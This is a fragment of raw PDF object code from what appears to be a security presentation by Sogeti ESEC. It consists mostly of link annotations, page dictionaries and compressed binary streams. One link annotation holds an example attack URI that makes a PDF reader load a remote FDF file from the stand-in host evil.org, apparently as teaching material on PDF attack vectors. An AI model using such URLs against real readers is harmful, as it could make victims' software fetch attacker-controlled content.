0 R >> /ProcSet [ /PDF /Text ] >> endobj 850 0 obj << /Type /Page /Contents 851 0 R /Resources 849 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 821 0 R 822 0 R 823 0 R 824 0 R 825 0 R 826 0 R 827 0 R 828 0 R 829 0 R 830 0 R 831 0 R 832 0 R 833 0 R 834 0 R 835 0 R 836 0 R 837 0 R 838 0 R 839 0 R 840 0 R 841 0 R 842 0 R 843 0 R 844 0 R 845 0 R 846 0 R 847 0 R 815 0 R 816 0 R 817 0 R 818 0 R 819 0 R 820 0 R 848 0 R ] /AA << /O << /S /GoTo /D [ 884 0 R /Fit ] >> >> >> endobj 851 0 obj << /Length 1974 /Filter /FlateDecode >>stream xZs#5 _a^ !oܕk;Kҙ{$c7&%1MwײeKϲĵP#|ZFZb1WG֘-S6m u&JgST.O:sF\ HaL$^Z b2?:~ċ![K&J$qu^w6&9ũ8%,]&E'4E'h@ .1B Ĺ8zE\QpdneB%E #+G}6%n[QmrEގ"SXo;liσK PC&h;",#uQ>ATQ$a}V/'^+4)hp% B"h ǵ=AD|fJ ]W4 Ȩ6ޚɡuڞtbTRαD&Y /I55:p"Fً`W '?ƽ]zM5'ݟo14/D+"~uR=3D1mTС} nD2/Z4hc[' ^*FfB/tEb_]S\B$Zc6P- pkȿClYShe1WFjDb}3GL a 'sDc*쫁Qӂ1n84k1W]xH9K1vh#߾-we0fփ!#ͅ$U[(ңW쳻Zj =o*TuWk'V|T3aE<EqA9]w4 (~H*!⯇BcC4;c"qg&OJ`Pg950'Ȕ0hI[qp_=;MqV 仂-v1 }Hwn7A%(!i  -AO+Ŝ0\1x_'cv1sHwn7Xkb[sblx1 m`5 J hw}]"> endobj 853 0 obj << /D [ 884 0 R /XYZ 334.488 1.245 null ] >> endobj 854 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 3.778 3.778 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 888 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 855 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 856 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 857 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 858 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 859 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 860 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 861 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 862 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 863 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 864 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 865 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 866 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 867 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 868 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 869 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 870 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 871 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 872 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 873 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 874 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 875 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 876 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 877 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 878 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 879 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 880 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 881 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 882 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 883 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F14 592 0 R /F56 205 0 R /F84 886 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 884 0 obj << /Type /Page /Contents 885 0 R /Resources 883 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 855 0 R 856 0 R 857 0 R 858 0 R 859 0 R 860 0 R 861 0 R 862 0 R 863 0 R 864 0 R 865 0 R 866 0 R 867 0 R 868 0 R 869 0 R 870 0 R 871 0 R 872 0 R 873 0 R 874 0 R 875 0 R 876 0 R 877 0 R 878 0 R 879 0 R 880 0 R 881 0 R 882 0 R ] /AA << /O << /S /GoTo /D [ 919 0 R /Fit ] >> >> >> endobj 885 0 obj << /Length 2502 /Filter /FlateDecode >>stream xZs _\]8m^lB>K_D)ɗ&^F&~`3| +VT\bgov>Yyϭ+X帔 etV8ZSxtt@TJ𢞟yn֕aFȆyr/DXw 7ㅐ^Ry(r..>8o/`g, IS\go15"7AD8SOy]1y"Hcd)r`RoQx1 2I?qfy%'T`+4 Al;<9(Q9!M<DF! KغHK?ga 3ic> ~*PY-~4EhF;`<(5/A4A:R~C~FmӏB&s!j V2=Glj75Qa#/`&_aoW]V4vK}U&6'QߏKe8*j1mPK:&|Yj\^`>L9sV9M.щ;J=(%&s7~B!?l욿U2<ѯܕ374\͎'cFͻxg jq.OS)KTp sΒVn pQYհQP>EL (sB" f mhA6.)]b<_tŒ^iw ?>wIʛÛS*RX8fR$Km}J^CJX ioSe ː\Hu@xNXC14ř+m]'"[ >uZ$ҡ<:6q  heˢ,4ۼFSDM#9D 7uC)F%]Ңih! X\ G#L}q0 G$wdb2=h%T\C(=?^.#WL &$$2&kPBulbW6%U`P{ (y^8 ܓg-ۉ앐NI!`ХIe ^Qm`ktю{ܲrˮ-n9u][ۅSl4:=%R3"x; ՋM05U=MCrqbv,3(t >d&'}6[[;}$z'$j]XUay4X9{j4k.kn5IA8Ohn"ݝaqkʹ5@c`^Q4G/nK2 BcAC+HCV|.Xod"Ө[%cyI*;4q48j爝 x m3<4!8§@Tag eGuuEl"8-5u P2p,?FA袝:0.V,/QǨ&H@Tn6:r HkЋ(Eԉa1*6EA}{ UZyu|AM]FH{$rZ?H"XqfTul +I]~"npM^S2!] qƏ|m1frEҼSd>J¶8"/~`Ca6Dis>pC-cxęN!>0'#_ ?ip/@p~X-h_ǮuMqqs9I%-cݍY7Zpo谛ZY| |er!_ޗR1*_<|TŢK}.l]41V[pjw"> endobj 887 0 obj << /D [ 884 0 R /XYZ 334.488 1.245 null ] >> endobj 888 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1.8888 ] /Coords [ 1.23436 2.69772 0 1.8888 1.8888 1.8888 ] /Function << /FunctionType 3 /Domain [ 0 1.8888 ] /Functions [ << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 1 >> ] /Bounds [ 0.58167 1.16342 1.59972 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 889 0 obj << /D [ 919 0 R /XYZ 334.488 1.245 null ] >> endobj 890 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 891 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 892 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 893 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 894 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 895 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 896 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 897 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 898 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 899 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 900 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 901 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 902 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 903 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 904 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 905 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 906 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 907 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 908 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 909 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 910 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 911 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 912 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 913 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 914 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 915 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 916 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 917 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 918 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 919 0 obj << /Type /Page /Contents 920 0 R /Resources 918 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 890 0 R 891 0 R 892 0 R 893 0 R 894 0 R 895 0 R 896 0 R 897 0 R 898 0 R 899 0 R 900 0 R 901 0 R 902 0 R 903 0 R 904 0 R 905 0 R 906 0 R 907 0 R 908 0 R 909 0 R 910 0 R 911 0 R 912 0 R 913 0 R 914 0 R 915 0 R 916 0 R 917 0 R ] /AA << /O << /S /GoTo /D [ 954 0 R /Fit ] >> >> >> endobj 920 0 obj << /Length 2470 /Filter /FlateDecode >>stream xnF]_}H@H}-36Ȏ>l6Lӎˇ|L[U}%d&2]uwUqXuYhVa4qRWŠ S-b~ 铟ܺ5K)QZ/qm %}{8ݬ~z e\{jzp]/L3 C0'`& p\X~u& q>F|GN[;L̀Q6g j7up`\ !l~;.hjoG-;SpN@M$Y^ *\wHt=sAZ--ߝ\` 3uuޝB_ q<.g|"  }l Fވ7Vw&='C\l5Ҭdw<1\WohOfM^{s rZ^)KTp hHa 70-R~L-FjPk.t' qevA}(؅}?RU TJe$.t]y/Lb\›&B7cd#frY <$S[E),7uTbuҁbvuJP`;@U<!j"!yJ[׫j&P A\ZܧGZzQ񘛿98HiYUޠ)]d̀p&,5mcfF%!wL(" b"Boq@r08 <äR*pp<&= DUհ[ ih cs'bI*~ߧXpPmnp?XnwI*iGkKRqI t5g"/PuL9Si봩*[jAd!pJ޴Ym $mXܑHTݧ6EzjXFͬF ܽx> _z,AF .ldj *Vw@M^E5'Կ<Ɩ Y"dt!EF Ѱȝ=sHP/ҽ~~ϕ@,ġБ7۳|+[8K?(3ycv.7d7w -UX,36`CH,~2ѡ(IyJ"T,GP*Ӆ^,Ǵ%ހ0Zu<EP]UӕL!VjU#*m}+HpnWT?}FLD+C$)DL(*.9Ea_> JR"D{Koæwrwph0wTB12(^ChOQ ]i +o+ʝ?#9t9H"YC3%T(m$ѐ@qiѯ'dJ.zLy ( T*-km+âaP] ՘ɣOHTfO.AX^-Kw~[_._缜e(4EB:Ak }9vs > endobj 922 0 obj << /Count 6 /Kids [ 919 0 R 954 0 R 992 0 R 1032 0 R 1065 0 R 1103 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 923 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 151.751 87.209 303.453 98.137 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://site.org/file.pdf#search=foobar) >> >> endobj 924 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 72.181 65.291 290.654 76.219 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://site.org/file.pdf#FDF=http://evil.org/foobar.fdf) >> >> endobj 925 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 926 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 927 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 928 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 929 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 930 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 931 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 932 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 933 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 934 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 935 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 936 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 937 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 938 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 939 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 940 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 941 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 942 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 943 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 944 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 945 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 946 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 947 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 948 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 949 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 950 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 951 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 952 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 953 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F84 886 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 954 0 obj << /Type /Page /Contents 955 0 R /Resources 953 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 925 0 R 926 0 R 927 0 R 928 0 R 929 0 R 930 0 R 931 0 R 932 0 R 933 0 R 934 0 R 935 0 R 936 0 R 937 0 R 938 0 R 939 0 R 940 0 R 941 0 R 942 0 R 943 0 R 944 0 R 945 0 R 946 0 R 947 0 R 948 0 R 949 0 R 950 0 R 951 0 R 923 0 R 924 0 R 952 0 R ] /AA << /O << /S /GoTo /D [ 992 0 R /Fit ] >> >> >> endobj 955 0 obj << /Length 2507 /Filter /FlateDecode >>stream xZo _ Ȏ#=\qp=\l}hZ@YK ˲-9__I$'M&w3ᐿ\mūG|))y ^)+WN2!mu7fG>BWyVwt}s1..Qs'9#2)Lp@cFJX W,t,Eq nƵ %P" ާ+|ףkUjculȱB%v1˯ pB666il7Ohg(M(m) F{iI3fTGIi#"kЛ Xɗcnmhj5MW=Y4$q͐>O..(P(KO/#h' ^VdV]xnqdtClH.vt3~ػKcqGa}yϦb>lÒqyA t xJjBT1TGp:۷z՞qu{Ȅ@JDgc47ՑJh|'"jô4(hICuX+֡@=:H .$1XD٬XA'o]c J:⫊/T.UaKA~^ MA>0`Q}*8IeW UYlrs_k訇HIm+dEڑV|)H>\zK:ϙŋf$2VbנzlzCm.$x 5PoM E y3Lۋ e_!ew,6^RGvKJGEC!% hoH.9X)d:V:TA7~: Hni4d{M"M_ᗩ4ftv6 dVaILJѹ # ?\X;lS*B85ݼ?G}Y$ 